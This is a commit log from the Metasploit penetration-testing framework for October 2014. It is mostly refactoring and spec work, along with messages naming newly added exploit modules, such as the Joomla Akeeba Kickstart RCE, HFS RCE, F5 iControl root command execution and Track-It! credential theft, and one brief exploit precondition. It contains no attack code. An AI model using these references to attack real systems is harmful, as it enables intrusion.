2014-10-14 16:16:47 -05:00
wvu-r7 d775c6cfdb Merge pull request #9 from todb-r7/pr4015-disclosure-fix
Pr4015 disclosure fix
2014-10-14 16:12:36 -05:00
Luke Imhoff 7e05900428 Extract Msf::DBManager::Import::IP360::ASPL shared examples
MSP-11124
2014-10-14 16:02:44 -05:00
Tod Beardsley e68aaa4226 Don't disclose empty disclosure dates
For rapid7#4015
2014-10-14 16:02:23 -05:00
Tod Beardsley b8aa3f5357 Test #4015, disclosure dates on info 2014-10-14 16:01:59 -05:00
Luke Imhoff 81c18c96ee Extract Msf::DBManager::Import::IP260::ASPL
MSP-11124
2014-10-14 15:58:43 -05:00
Luke Imhoff c28f1fce3a Extract Msf::DBManager::Import::Acunetix shared examples
MSP-11124
2014-10-14 15:45:07 -05:00
Luke Imhoff 6c0f549abb Extract Msf::DBManager::Import::Acunetix
MSP-11124
2014-10-14 15:40:29 -05:00
Luke Imhoff 0c10b5a859 Extract #handle_qualys to Msf::DBManager::Import::Qualys
MSP-11124
2014-10-14 15:32:22 -05:00
Luke Imhoff 55ca928fee Extract Msf::DBManager::Import::Qualys::Scan shared examples
MSP-11124
2014-10-14 15:31:01 -05:00
Luke Imhoff 11bcac8a4e Extract Msf::DBManager::Import::Qualys::Scan
MSP-11124
2014-10-14 15:19:55 -05:00
William Vu f612c8cd3e Add disclosure date to info 2014-10-14 15:15:24 -05:00
William Vu fdd79e64c3 Land #4010, ReverseAllowProxy clarification 2014-10-14 15:10:50 -05:00
Tod Beardsley e010d70913 No need for that bool option 2014-10-14 14:59:57 -05:00
Tod Beardsley bf0a5d038e Add an animation to comfort the user
Sometimes msfconsole takes a little while to start.

This adds a fairly common ASCII spinner to the startup sequence.

I haven't spec'ed it, and the code organization isn't great, so consider
this PR more of a cry for help than something immediately landable.

That said, it works for me.
2014-10-14 14:54:45 -05:00
Tod Beardsley 8e58efbf4f Land #4008, OLE specs 2014-10-14 13:57:54 -05:00
Tod Beardsley 9630d4676f Land #4012, info showing actions 2014-10-14 13:51:37 -05:00
William Vu 309d578196 Land #4013, OSVDB refs for a couple modules 2014-10-14 13:44:31 -05:00
William Vu bdbad5a81d Fix misaligned bracket 2014-10-14 13:43:59 -05:00
Tod Beardsley 9f6008e275 A couple OSVDB updates for recent modules 2014-10-14 13:39:36 -05:00
Tod Beardsley 4f8801eeba Land #3651, local Bluetooth exploit a @KoreLogic
This started life as #3653. I'll take this out of unstable as well,
since it got there on commit b10cbe4f
2014-10-14 13:13:34 -05:00
William Vu 972efd423c Land #4011, module description cleanup 2014-10-14 12:43:17 -05:00
William Vu 5c4f61057f Show available actions for info 2014-10-14 12:41:02 -05:00
Tod Beardsley 56534e7ad3 Changed a login failed to vprint instead of print
People often like to supress failed attempts. Note that this change may
or may not have any effect, given the status of #3995.

This module was introduced in PR #3947.
2014-10-14 12:01:09 -05:00
Tod Beardsley b1223165d4 Trivial grammar fixes 2014-10-14 12:00:50 -05:00
Tod Beardsley 6ea3a78b47 Clarify the description on HP perfd module
Introduced in #3992
2014-10-14 11:58:52 -05:00
jvazquez-r7 39a09ad750 Use ARCH_CMD on Windows target 2014-10-14 10:24:32 -05:00
Pedro Laguna 70d1eefaa9 Update reverse_tcp.rb
As I am using a exploit that does a check on the Server HTTP headers to identify the target I saw an error message that reads like this:

>The target server fingerprint "" does not match "(?-mix:(Jetty|JBoss))", use 'set FingerprintCheck false' to disable this check.

Then, while using a HTTP proxy to analyse the requests I am presented with an error that tells me to set another internal option to override a default behaviour. Although it should be pretty clear to everyone using the metasploit framework, I think it is more convenient if all error messages have the same format/way to present suggestions, in this case, presenting the full command the user needs to introduce in order to carry on with the execution of the exploit.
2014-10-14 11:24:59 +01:00
jvazquez-r7 a0fc0cf87f Update ranking 2014-10-13 17:44:00 -05:00
Luke Imhoff dd5ae26174 Extract Msf::DBManager::Import::Qualys::Asset shared examples
MSP-11124
2014-10-13 16:09:41 -05:00
Luke Imhoff 1f49f767dc Extract Msf::DBManager::Import::Qualys::Asset
MSP-11124
2014-10-13 16:06:15 -05:00
jvazquez-r7 2f20998eaa Force Rex::OLE::Util to work on LITTLE_ENDIAN 2014-10-13 16:01:43 -05:00
Luke Imhoff a7d1577494 ImportMsfXml -> Import::MsfXml
MSP-11124
2014-10-13 15:46:13 -05:00
Luke Imhoff 87825d40b1 Fix migration.rb loading
MSP-11124
2014-10-13 15:39:15 -05:00
Luke Imhoff b8ea44235b Remove nesting in Msf::DBManager::ImportMsfXml
MSP-11124

Don't use nested modules to prevent Msf::DBManager::ImportMsfXml from
being the declaring location for Msf::DBManager.
2014-10-13 15:37:16 -05:00
Luke Imhoff ef04261686 Fix indentation in Msf::DBManager
MSP-11124
2014-10-13 15:26:19 -05:00
Luke Imhoff c6ea3a3880 Distribute requires to where they are needed
MSP-11124

Push requires down to the Msf::DBManager mixins that actually need them.
2014-10-13 15:24:56 -05:00
Luke Imhoff 4371254dd2 Reorder remaining code in Msf::DBManager
MSP-11124
2014-10-13 15:13:28 -05:00
Luke Imhoff acdf6e7dbf Move missed Msf::DBManager::Connection examples
MSP-11124
2014-10-13 15:06:46 -05:00
Luke Imhoff 92aaecf94b Move add_rails_engine_migrations_paths to Msf::DBManager::Migration
MSP-11124
2014-10-13 15:02:20 -05:00
Luke Imhoff 2dd925c18c Move add_rails_engine_migration_paths to Msf::DBManager::Migration
MSP-11124
2014-10-13 15:01:14 -05:00
Luke Imhoff 1dfaba1884 Remove nesting in Msf::DBManager::Migration
MSP-11124

To prevent migration.rb as counting as the definer of `Msf::DBManager`.
2014-10-13 14:56:08 -05:00
Luke Imhoff 66ce59725b Extract Msf::DBManager::Adapter shared examples
MSP-11124
2014-10-13 14:53:40 -05:00
Luke Imhoff bc4d2ff152 Extract Msf::DBManager::Adapter
MSP-11124

Extract methods related to setting up the adapter/driver(s).
2014-10-13 14:49:26 -05:00
Luke Imhoff 2b4150ac46 Extract Msf::DBManager::Connection shared examples
MSP-11124
2014-10-13 14:47:22 -05:00
jvazquez-r7 51f1309cc3 Add specs for Rex::OLE::CLSID 2014-10-13 14:28:58 -05:00
jvazquez-r7 8b9c8da4ac Add specs for Rex::OLE::Util 2014-10-13 13:41:43 -05:00
Nikita 621b9523b1 Update tnspoison_checker.rb 2014-10-13 22:05:08 +04:00
Luke Imhoff 930b020211 Extract Msf::DBManager::Connection
MSP-11124

Extract methods that connect, disconnect and show status of connection
to database.
2014-10-13 12:07:13 -05:00
Luke Imhoff 43a4858fe3 Extract Msf::DBManager::Web shared examples
MSP-11124
2014-10-13 12:01:49 -05:00
Luke Imhoff f472411c8c Extract Msf::DBManager::Web
MSP-11124

Extract `Mdm::Web*` methods.
2014-10-13 11:59:39 -05:00
Luke Imhoff 3a2f8b7684 Extract Msf::DBManager::VulnAttempt shared examples
MSP-11124
2014-10-13 11:34:12 -05:00
Luke Imhoff 5067e43ac1 Extract Msf::DBManager::VulnAttempt
MSP-11124

Extract `Mdm::VulnAttempt` methods.
2014-10-13 11:32:15 -05:00
Luke Imhoff adfeef2aa9 Extract Msf::DBManager::Route shared examples
MSP-11124
2014-10-13 11:28:19 -05:00
Luke Imhoff e7e12ec6a5 Extract Msf::DBManager::Route
MSP-11124

Extract `Mdm::Route` methods.
2014-10-13 11:23:37 -05:00
Luke Imhoff e1ae403292 Extract Msf::DBManager::SessionEvent shared examples
MSP-11124
2014-10-13 11:15:07 -05:00
Luke Imhoff 8011187aa9 Extract Msf::DBManager::SessionEvent
MSP-11124

Extract `Mdm::SessionEvent` methods.
2014-10-13 11:13:39 -05:00
Luke Imhoff 98142def08 Extract Msf::DBManager::HostTag shared examples
MSP-11124
2014-10-13 11:03:21 -05:00
Luke Imhoff 1f86712d63 Extract Msf::DBManager::HostTag
MSP-11124

Extract `Mdm::HostTag` method.
2014-10-13 11:00:36 -05:00
Luke Imhoff 6fb263d989 Extract Msf::DBManager::Session shared examples
MSP-11124
2014-10-13 10:52:39 -05:00
Luke Imhoff 1811d4e58f Extract Msf::DBManager::Session
MSP-11124

Extract methods related to `Mdm::Session`s.
2014-10-13 10:50:11 -05:00
jvazquez-r7 eb190a5a78 Avoid explicit use of subject on shared examples 2014-10-13 10:43:53 -05:00
jvazquez-r7 e4a7025157 Avoid explicit use of subject 2014-10-13 10:41:12 -05:00
Luke Imhoff 4aab5129b0 Extract Msf::DBManager::HostDetail shared examples
MSP-11124
2014-10-13 10:27:55 -05:00
William Vu 6ffe0807af Update msfcli to use HasActions 2014-10-13 10:24:05 -05:00
jvazquez-r7 10d50e77eb Avoid explicit use of subject 2014-10-13 10:21:31 -05:00
Luke Imhoff f16b3f05b4 Extract Msf::DBManager::HostDetail
MSP-11124

Extract method related to `Mdm::HostDetail`s.
2014-10-13 10:15:14 -05:00
Luke Imhoff 8026352433 Extract Msf::DBManager::Ref shared examples
MSP-11124
2014-10-13 10:12:09 -05:00
Luke Imhoff 87ee06b792 Extract Msf::DBManager::Ref
MSP-11124

Extract methods related to `Mdm::Ref`s.
2014-10-13 10:06:37 -05:00
Luke Imhoff 7a5b3c9ee7 Move report_artifact example to Msf::DBManager::Report
MSP-11124
2014-10-13 10:01:08 -05:00
Luke Imhoff 5668a2820e Move #report_artifact to Msf::DBManager::Report
MSP-11124
2014-10-13 10:00:19 -05:00
Luke Imhoff a970d76a2a Extract Msf::DBManager::VulnDetail shared examples
MSP-11124
2014-10-13 09:58:59 -05:00
Luke Imhoff 43c9909636 Extract Msf::DBManager::VulnDetail
MSP-11124

Extract methods related to `Mdm::VulnDetail`s.
2014-10-13 09:54:38 -05:00
Luke Imhoff 97b3198923 Extract Msf::DBManager::ExploitAttempt shared examples
MSP-11124
2014-10-13 09:43:40 -05:00
Luke Imhoff f42f8e106a Extract Msf::DBManager::ExploitAttempt
MSP-11124

Extract methods that create `Mdm::ExploitAttempt`s.
2014-10-13 09:41:32 -05:00
Luke Imhoff b007fba79f Extract Msf::DBManager::Task shared examples
MSP-11124
2014-10-13 09:32:42 -05:00
Luke Imhoff e0f76a7517 Extract Msf::DBManager::Task
MSP-11124

Extract methods related to `Mdm::Task`s.
2014-10-13 09:28:48 -05:00
Luke Imhoff 66845508d9 Extract Msf::DBManager::Report shared examples
MSP-11124
2014-10-13 09:24:27 -05:00
Luke Imhoff 90b50339c3 Extract Msf::DBManager::Report
MSP-11124

Extract methods related to the obsolete `Mdm::Report`.  These methods
should be deleted, but since this branch is just for moves, I won't
delete them now.
2014-10-13 09:19:39 -05:00
Luke Imhoff e82a46cc47 Extract Msf::DBManager::Event shared examples
MSP-11124
2014-10-13 09:12:49 -05:00
Luke Imhoff 9632c83cde Extract Msf::DBManager::Event
MSP-11124

Extract methods related to `Mdm::Event`s.
2014-10-13 09:05:10 -05:00
Luke Imhoff 0e93b55397 Extract Msf::DBManager::Client shared examples
MSP-11124
2014-10-13 08:40:34 -05:00
Luke Imhoff 89d588272e Extract Msf::DBManager::Client
MSP-11124

Extract methods related to `Mdm::Client`s.
2014-10-13 08:27:09 -05:00
Nikita 1996886ae9 Update tnspoison_checker.rb 2014-10-13 12:53:39 +04:00
Nikita 22aabc7805 Add new module to test TNS poison
This module simply checks the server for vulnerabilities like TNS Poison
2014-10-13 12:21:07 +04:00
Martin Vigo b9e4f04260 Add support for Firefox 2014-10-12 22:48:20 -07:00
Martin Vigo 8efe714be6 Add support for Firefox in XP 2014-10-12 22:48:19 -07:00
Martin Vigo b8dc8acef1 Merge remote-tracking branch 'upstream/master' 2014-10-12 22:24:58 -07:00
Jon Hart d51d2bf5a0 Land #3990, @wchen-r7's fix for #3984, a busted check in drupal_views_user_enum 2014-10-12 19:38:55 -07:00
Jon Hart 458da2bca4 Land #3988, @wchen-r7's fix for #3985, a lack of logging for 'check' 2014-10-12 18:46:35 -07:00
Jon Hart d4297a7159 Land #3992, @espreto's HP perfd gather module 2014-10-12 18:35:06 -07:00
Jon Hart 76275a259a Minor style cleanup of help and a failure message 2014-10-12 18:34:13 -07:00
Roberto Soares d0f1cd1251 Merge pull request #1 from jhart-r7/landing-3992-jhart-fixes
Refactor hp_enum_perfd for better looting
2014-10-12 20:44:24 -03:00
jvazquez-r7 ca05c4c2f4 Fix @wchen-r7's feedback
* use vprint_* on check
* rescue get_once
2014-10-12 17:44:33 -05:00
us3r777 444b01c4b0 Typo + shorten php serialized object 2014-10-12 21:29:04 +02:00
sinn3r 96be53dcf1 Land #3962 - Show selected action 2014-10-12 14:02:40 -05:00
jvazquez-r7 46bf8f28e0 Fix regex 2014-10-11 21:37:05 -05:00
jvazquez-r7 6092e84067 Add module for ZDI-14-344 2014-10-11 21:33:23 -05:00
Jon Hart c3a58cec9e Make note of other commands to investigate 2014-10-11 13:07:52 -07:00
Jon Hart c80a5b5796 List commands in sorted order 2014-10-11 13:00:30 -07:00
Jon Hart 4ffc8b153c Support running more than one perfd command in a single pass 2014-10-11 11:38:00 -07:00
Jon Hart c72593fae4 Store just banner for service, loot the rest. Also, minor style. 2014-10-11 11:12:49 -07:00
Jon Hart 9550c54cd2 Correct indentation and whitespace 2014-10-11 10:39:12 -07:00
sinn3r 9500038695 Fix #3995 - Make negative messages less verbose
As an user testing against a large network, I only want to see
good news, not bad news.
2014-10-11 11:11:09 -05:00
Roberto Soares Espreto 7bd0f2c114 Changed Name, array in OptEnum and operator 2014-10-11 09:03:18 -03:00
Roberto Soares Espreto cbde2e8cd1 Variable cmd now with interpolation 2014-10-10 18:21:16 -03:00
William Vu a04ad3aa8c Update print_error to reflect new usage 2014-10-10 14:38:26 -05:00
William Vu 26743b4c38 Rewrite existing code to use HasActions
And fix a bug in the initial use case where mod.action was dropped.
2014-10-10 14:35:54 -05:00
Roberto Soares Espreto 291bfed47e Using Rex.sleep instead of select 2014-10-10 15:17:40 -03:00
William Vu 7e7e0259e4 Fix tab completion for post actions 2014-10-10 12:24:23 -05:00
William Vu 238a30a769 Update print_error to include post modules 2014-10-10 12:12:43 -05:00
Roberto Soares Espreto bd315d7655 Changed print_good and OptEnum 2014-10-10 13:54:42 -03:00
Roberto Soares Espreto 08fdb4fab2 Add module to enumerate environment HP via perfd daemon 2014-10-10 13:09:36 -03:00
sinn3r 260aa8dc22 Fix #3984 - Fix broken check for drupal_views_user_enum 2014-10-10 10:23:20 -05:00
nstarke f8d6af6d4e Rescuing from JSON Parse
Previous code was not using any sort of exception handling
for parsing the response body.  I have added a rescue block
for JSON errors to remedy this problem.
2014-10-10 12:41:11 +00:00
0a2940 e689a0626d Use Rex.sleep :-)
"Right is right even if no one is doing it; wrong is wrong even if everyone is doing it"

user@x:/opt/metasploit$ grep -nr "select(nil, nil, nil" . | wc -l
189
user@x:/opt/metasploit$ grep -nr "Rex.sleep" . | wc -l
25
2014-10-10 10:05:46 +01:00
sinn3r 48d2343152 Fix #3985 - check command should elog 2014-10-10 01:06:37 -05:00
nstarke 472985a8a8 Adding Buffalo Linkstation NAS Login Scanner
I have added a login scanner for the Buffalo Linkstation
NAS.  I have been testing against version 1.68 of the
firmware.  Also included are some specs for this module.
2014-10-10 03:16:48 +00:00
Luke Imhoff b05a466e0a Extract Msf::DBManager::Vuln shared examples
MSP-11124
2014-10-09 15:51:39 -05:00
Luke Imhoff 08aee23966 Extract Msf::DBManager::Vuln
MSP-11124

Extract all methods related to `Mdm::Vuln`s from `Msf::DBManager`.
2014-10-09 15:47:34 -05:00
Luke Imhoff e403e54896 Extract Msf::DBManager::Note shared examples
MSP-11124
2014-10-09 15:39:55 -05:00
Luke Imhoff 2fa02f5c44 Extract Msf::DBManager::Note
Extract all methods related to `Mdm::Note`s.
2014-10-09 15:29:07 -05:00
Tod Beardsley aefd15c185 Land #3376, ARRIS SNMP enumerator from @inokii 2014-10-09 15:28:06 -05:00
Luke Imhoff e42d60801d Extract Msf::DBManager::Loot shared examples
MSP-11124
2014-10-09 15:21:43 -05:00
jvazquez-r7 520e1bccca Land #3692, @TomSellers's support for Metasploit Credential on enum_snmp 2014-10-09 15:18:44 -05:00
Luke Imhoff 0bc71ecd24 Extract Msf::DBManager::Loot
MSP-11124
2014-10-09 15:15:40 -05:00
Luke Imhoff 2c6753a2e0 Extract Msf::DBManager::Import shared examples
MSP-11124
2014-10-09 15:07:17 -05:00
Luke Imhoff cb9bdd96c7 Extract Msf::DBManager::Import
MSP-11124

Extract all methods dealing with imports.
2014-10-09 14:51:24 -05:00
sinn3r 7d8eadada6 Fix #3974 - Validate and normalize URI for axis_login 2014-10-09 14:33:39 -05:00
sinn3r c9c34beafa Fix #3975 - Register TARGETURI, not URI
The module should register TARGETURI and call #target_uri for
URI validation.
2014-10-09 14:10:29 -05:00
Luke Imhoff 45f5fe36f1 Extract Msf::DBManager::ExploitedHost shared examples
MSP-11124
2014-10-09 12:58:30 -05:00
Luke Imhoff d18dcf5961 Extract Msf::DBManager::ExploitedHost
MSP-11124

Extract methods related to `Mdm::ExploitedHost`s.
2014-10-09 12:54:04 -05:00
Pedro Ribeiro 4b7a446547 ... and restore use of the complicated socket 2014-10-09 18:30:45 +01:00
Pedro Ribeiro c78651fccc Use numbers for version tracking 2014-10-09 18:29:27 +01:00
Pedro Ribeiro 8163b7de96 Thanks for helping me clean up Todd! 2014-10-09 18:20:31 +01:00
sinn3r d366cdcd6e Fix #3976 - validate and normalize user-supplied URI for http_login.rb
URI should be validated and normalized before being used in an HTTP
request.
2014-10-09 12:14:33 -05:00
Pedro Ribeiro 9d1e206e43 Incorporate cred changes and other minor fixes 2014-10-09 17:59:38 +01:00
Spencer McIntyre a535d236f6 Land #3947, login scanner for jenkins by @nstarke 2014-10-09 12:59:02 -04:00
Spencer McIntyre 6ea530988e Apply rubocop changes and remove multiline print 2014-10-09 12:57:39 -04:00
us3r777 2428688565 CVE-2014-7228 Joomla/Akeeba Kickstart RCE
Exploit via serialiazed PHP object injection. The Joomla! must be
updating more precisely, the file $JOOMLA_WEBROOT/administrator/
components/com_joomlaupdate/restoration.php must be present
2014-10-09 18:51:24 +02:00
Luke Imhoff 3ec93dea43 Extract Msf::DBManager::Cred shared examples
MSP-11124
2014-10-09 11:44:15 -05:00
Luke Imhoff ceba04d556 Extract Msf::DBManager::Cred
MSP-11124

Extract methods related to `Mdm::Cred`s.
2014-10-09 11:41:04 -05:00
jvazquez-r7 3305b1e9c3 Land #3984, @nullbind's MSSQL privilege escalation module 2014-10-09 11:39:15 -05:00
jvazquez-r7 10b160bedd Do final cleanup 2014-10-09 11:38:45 -05:00
Luke Imhoff 96b4491d8e Extract Msf::DBManager::Service shared examples
MSP-11124
2014-10-09 11:35:07 -05:00
Luke Imhoff 0284edf430 Extract Msf::DBManager::Service
MSP-11124

Extract methods related to `Mdm::Service`s.
2014-10-09 11:31:29 -05:00
jvazquez-r7 bbe435f5c9 Don't rescue everything 2014-10-09 11:25:13 -05:00
Luke Imhoff e7800697eb Extract Msf::DBManager::Host shared examples
MSP-11124
2014-10-09 11:16:04 -05:00
Luke Imhoff 0cfac32290 Extract Msf::DBManager::Host
MSP-11124

Extract methods related to `Mdm::Host`s.
2014-10-09 11:11:36 -05:00
jvazquez-r7 0cd7454a64 Use default value for doprint 2014-10-09 11:04:42 -05:00
jvazquez-r7 db6f6d4559 Reduce code complexity 2014-10-09 10:59:14 -05:00
Luke Imhoff 148ad8b050 Extract Msf::DBManager::WMAP shared examples
MSP-11124
2014-10-09 10:49:26 -05:00
jvazquez-r7 615b8e5f4a Make easy method comments 2014-10-09 10:48:00 -05:00
jvazquez-r7 dd03e5fd7d Make just one connection 2014-10-09 10:46:51 -05:00
Luke Imhoff bb26f4f303 Extract Msf::DBManager::Wmap
MSP-11124

Extract methods that are commented as related to WMAP.
2014-10-09 10:13:34 -05:00
jvazquez-r7 ccf677aad6 land #3978, Fixes #3973, Wrong datastore option URI in glassfish_login 2014-10-09 09:53:01 -05:00
Luke Imhoff e723aa7eb3 Extract Msf::DBManager::IPAddress shared examples
MSP-11124
2014-10-09 09:40:11 -05:00
Luke Imhoff b0147c994a Extract Msf::DBManager::IPAddress
MSP-11124

Extract the IP address validation methods to
`Msf::DBManager::IPAddress`.
2014-10-09 09:35:19 -05:00
Luke Imhoff f5ea81cd97 Test for #match_values
MSP-11124
2014-10-09 09:20:27 -05:00
Luke Imhoff 3a96ae9be9 Move #match_values to Msf::DBManager::ModuleCache
MSP-11124

`#match_values` is only used in `#search_modules`, so `#match_values`
should be grouped with `#search_modules` in
`Msf::DBManager::ModuleCache`.
2014-10-09 09:18:03 -05:00
Luke Imhoff 37c38ad27b Extract Msf::DBManager::ModuleCache shared examples
MSP-11124
2014-10-09 09:14:45 -05:00
Luke Imhoff d4a94366a6 Extract Msf::DBManager::ModuleCache
MSP-11124

Extract methods related to the module cache state and maintenance to
`Msf::DBManager::ModuleCache`.
2014-10-09 08:53:41 -05:00
jvazquez-r7 392b3bcf2f Land #3977, @FireFart's WPVDB reference for php_wordpress_infusionsoft module 2014-10-09 00:32:27 -05:00
sinn3r df0d4f9fb2 Fix #3973 - Unneeded datastore option URI
When Glassfish is installed, the web root is always /, so there is
no point to make this arbitrary.
2014-10-09 00:06:15 -05:00
Christian Mehlmauer 1584c4781c Add reference 2014-10-09 06:58:15 +02:00
nullbind 168f1e559c fixed status 2014-10-08 21:19:50 -05:00
nullbind 3ebcaa16a1 removed scanner 2014-10-08 21:18:56 -05:00
nstarke 328be3cf34 Fine Tuning Jenkins Login Module
At the request of the maintainers, I have deregistered the
RHOST option and made the failure proof a verbose only
print.
2014-10-08 17:53:21 -05:00
jvazquez-r7 4f96d88a2f Land #3949, @us3r777's exploit for CVE-2014-6446, wordpress infusionsoft plugin php upload 2014-10-08 16:35:49 -05:00
jvazquez-r7 66a8e7481b Fix description 2014-10-08 16:35:14 -05:00
jvazquez-r7 8ba8402be3 Update timeout 2014-10-08 16:32:05 -05:00
jvazquez-r7 bbf180997a Do minor cleanup 2014-10-08 16:29:11 -05:00
Luke Imhoff 70d4f672e2 Extract Msf::DBManager::Workspace examples to shared example
MSP-11124
2014-10-08 15:54:29 -05:00
Luke Imhoff ee0de997d5 Extract Msf::DBManager::Workspace
MSP-11124

Gather together all workspace related methods into
`Msf::DBManager::Workspace` and include it in `Msf::DBManager`.
2014-10-08 15:46:35 -05:00
Pedro Ribeiro 4817e1e953 Update trackit_sql_domain_creds.rb 2014-10-08 21:41:04 +01:00
Luke Imhoff a64036f6cf Move Msf::DBManager#sync to Msf::DBManager::Sink
MSP-11124

The comment on `#sync` says it's related to `sink`, so move it into its
Module.
2014-10-08 15:38:56 -05:00
Luke Imhoff 37e0b9ffe0 Extract Msf::DBManagerSink examples to shared example
MSP-11124
2014-10-08 15:30:20 -05:00
Luke Imhoff a054259ee5 Extract Msf::DBManager::Sink
MSP-11124

Extract attributes and methods associated with the deprecated sink.
2014-10-08 15:26:28 -05:00
Joe Vennix aa18eb54d3 Land #3920, @agix's removal of dead encode code from msfpayload.
Was originally supposed to add support for encoders, but
this was never a supported feature of msfpayload.
2014-10-08 15:03:28 -05:00
William Vu f86c0c2bb5 Land #3970, rm jtr_unshadow 2014-10-08 14:55:15 -05:00
William Vu 1d766ba95b Rename dump_auxiliary_action{,s}
To dump_module_action{,s} to accommodate post modules, etc.
2014-10-08 14:49:14 -05:00
jvazquez-r7 f30309fe81 Land #3919, @wchen-r7's Fixes #3914, Inconsistent unicode names 2014-10-08 14:46:14 -05:00
William Vu f6a9cfcc52 Break away the elsif into a separate if
In case exploits support actions for some crazy reason in the future.
2014-10-08 14:30:41 -05:00
Luke Imhoff 15f9461279 Merge db.rb into db_manager.rb
MSP-11124

The class name is DBManager, so the correct file name is db_manager.rb
2014-10-08 14:27:22 -05:00
Luke Imhoff cffc74d571 Extract Msf::DBImportError
MSP-11124
2014-10-08 14:14:35 -05:00
William Vu b2ba6e7ae1 Make the code more maintainable
Despite the code around it.

Thanks for the advice, @jlee-r7!
2014-10-08 14:14:28 -05:00
Luke Imhoff 7a5ce19735 Fix code style
MSP-11124

Fix comment style and order methods.
2014-10-08 14:07:05 -05:00
Luke Imhoff 6824515949 Fix indentation and whitespace in Msf::DatabaseEvent
MSP-11124
2014-10-08 14:04:21 -05:00
Luke Imhoff 2206a86387 Extract Msf::DatabaseEvent
MSP-11124

Extract `Msf::DatabaseEvent` from `lib/msf/core/db.rb` into a more
conventional `lib/msf/core/database_event.rb`.
2014-10-08 14:01:58 -05:00
jvazquez-r7 dbc199ad77 space after commas 2014-10-08 13:56:59 -05:00
Luke Imhoff 6b3d70ce00 Fix code style in Msf::ServiceState
MSP-11124
2014-10-08 13:52:42 -05:00
Luke Imhoff 46156fbbc6 Fix indentation in Msf::ServiceState
MSP-11124
2014-10-08 13:50:26 -05:00
Luke Imhoff 57d9dc306c Extract Msf::ServiceState
MSP-11124

Extract Msf::ServiceState from `lib/msf/core/db.rb` and put it into
`lib/msf/core/service_state.rb`.
2014-10-08 13:45:15 -05:00
William Vu c0ef2c7938 Support post modules
I kinda hate this code.

TODO: Get rid of and/or and the extra parens.
2014-10-08 13:23:50 -05:00
Jay Smith 7dd6a4d0d9 Merge in changes from @todb-r7. 2014-10-08 13:25:44 -04:00
jvazquez-r7 411f6c8b2d Land #3793, @mfadzilr's exploit for CVE-2014-6287, HFS remote code execution 2014-10-08 12:16:09 -05:00
jvazquez-r7 98b69e095c Use %TEMP% and update ranking 2014-10-08 12:12:00 -05:00
jvazquez-r7 d90fe4f724 Improve check method 2014-10-08 12:03:16 -05:00
jvazquez-r7 25344aeb6a Change filename 2014-10-08 11:55:33 -05:00
Luke Imhoff 0708ac1361 Fix comment style in Msf::HostState
MSP-11124
2014-10-08 11:47:04 -05:00
Luke Imhoff 5ecd194a0d Fix indent in Msf::HostState
MSP-11124
2014-10-08 11:43:28 -05:00
Luke Imhoff 6e6780da86 Split Msf::HostState into own file
MSP-11124
2014-10-08 11:37:59 -05:00
jvazquez-r7 909f88680b Make exploit aggressive 2014-10-08 11:08:01 -05:00
Luke Imhoff a0a19e5ce8 Spec classes, constants and methods from lib/msf/db.rb
MSP-11466

Method specces only check that the method is defined as they only need
to catch deleted methods during the reorganization.
2014-10-08 11:07:15 -05:00
Luke Imhoff 692e53501e Add modern --require to .rspec
MSP-11466

Modern rspec --init adds `--require spec_helper` to .rspec so that you
don't need to `require 'spec_helper` in all your specs.
2014-10-08 10:55:40 -05:00
Luke Imhoff 6a54f0ac4c Spec methods from db_manager.rb
MSP-11466
2014-10-08 10:53:14 -05:00
Luke Imhoff c09335985b Sort specs
MSP-11466
2014-10-08 10:52:21 -05:00
jvazquez-r7 d02f0dc4b9 Make minor cleanup 2014-10-08 10:36:56 -05:00
jvazquez-r7 d913bf1c35 Fix metadata 2014-10-08 10:29:59 -05:00
Tod Beardsley a901916b0b Remove nonfunctional jtr_unshadow
This module hasn't been doing anything but print_error a go away message
since June, so may as well get rid of it.
2014-10-08 10:23:29 -05:00
William Vu 71e883569f Land #3969, rm hashrockets from refs 2014-10-08 10:07:35 -05:00
Brendan Coles e0016d4af3 Remove hash rocket from refs array #3766
[SeeRM #8776]
2014-10-08 09:16:38 +00:00
Brendan Coles 3c7be9c4c5 Remove hash rockets from references #3766
[SeeRM #8776]
2014-10-08 09:01:19 +00:00
Pedro Ribeiro 6af6b502c3 Remove spaces at EOL 2014-10-08 08:30:30 +01:00
Pedro Ribeiro 0a9795216a Add OSVDB id and full disclosure URL 2014-10-08 08:25:41 +01:00
Pedro Ribeiro 713ff5134a Add OSVDB id 2014-10-08 08:24:44 +01:00
Pedro Ribeiro bd812c593c Add full disclosure URL 2014-10-08 08:24:04 +01:00
Pedro Ribeiro bbac61397d Restore :address to rhost and explain why 2014-10-08 08:23:43 +01:00
sinn3r c5494e037d Land #3900 - Add F5 iControl Remote Root Command Execution 2014-10-08 00:30:07 -05:00
Pedro Ribeiro 9cb0ad1ac2 Change the reporting address to the real value 2014-10-08 01:18:17 +01:00
Pedro Ribeiro 6e9bebdaf9 Fix noob mistake in assignment 2014-10-08 01:04:15 +01:00
Pedro Ribeiro 7dbfa19e65 Add exploit for Track-It! domain/sql creds vuln 2014-10-07 23:54:43 +01:00
Pedro Ribeiro d328b2c29d Add exploit for Track-It! file upload vuln 2014-10-07 23:50:10 +01:00
Pedro Ribeiro f2f4f91af5 Merge pull request #4 from rapid7/master
merge
2014-10-07 23:48:16 +01:00
jvazquez-r7 299d9afa6f Add module for centreon vulnerabilities 2014-10-07 14:40:51 -05:00
William Vu a8b5bf4625 Show selected auxiliary action 2014-10-07 14:34:41 -05:00
nstarke eed0958de5 Fixing Comment
Comment was incorrect and needed to be fixed.
2014-10-07 11:28:40 -05:00
William Vu 056ee4f207 Land #3958, kill command for pyterp 2014-10-07 10:58:37 -05:00
jvazquez-r7 3daa1ed4c5 Avoid changing modules indentation in this pull request 2014-10-07 10:41:25 -05:00
jvazquez-r7 e168280cc1 Add changes after discussion with msf team 2014-10-07 10:25:32 -05:00
jvazquez-r7 341d8b01cc Favor echo encoder for back compatibility 2014-10-07 10:24:32 -05:00
jvazquez-r7 3628f73235 Fix ARCH_CMD perl encoding 2014-10-07 10:21:30 -05:00
Spencer McIntyre 766a69e310 Add sys_process_kill to the python meterpreter 2014-10-07 10:10:22 -04:00
jvazquez-r7 e63b389713 Add @jlee-r7's changes to perl encoding 2014-10-07 00:16:16 -05:00
nullbind 031fb19153 requested updates 2014-10-06 23:52:30 -05:00
jvazquez-r7 0ec855cd07 Add debug log for ARCH_CMD encoder results 2014-10-06 22:34:09 -05:00
William Vu 3e92892c8b Land #3954, file:// for the check command 2014-10-06 22:05:51 -05:00
William Vu 399a61d52e Land #3946, ntp_readvar updates 2014-10-06 21:57:57 -05:00
nstarke e1b0ba5d3d Removing 'require pry'
I accidentally left a reference to pry in my code.
Removing
2014-10-06 21:40:39 -05:00
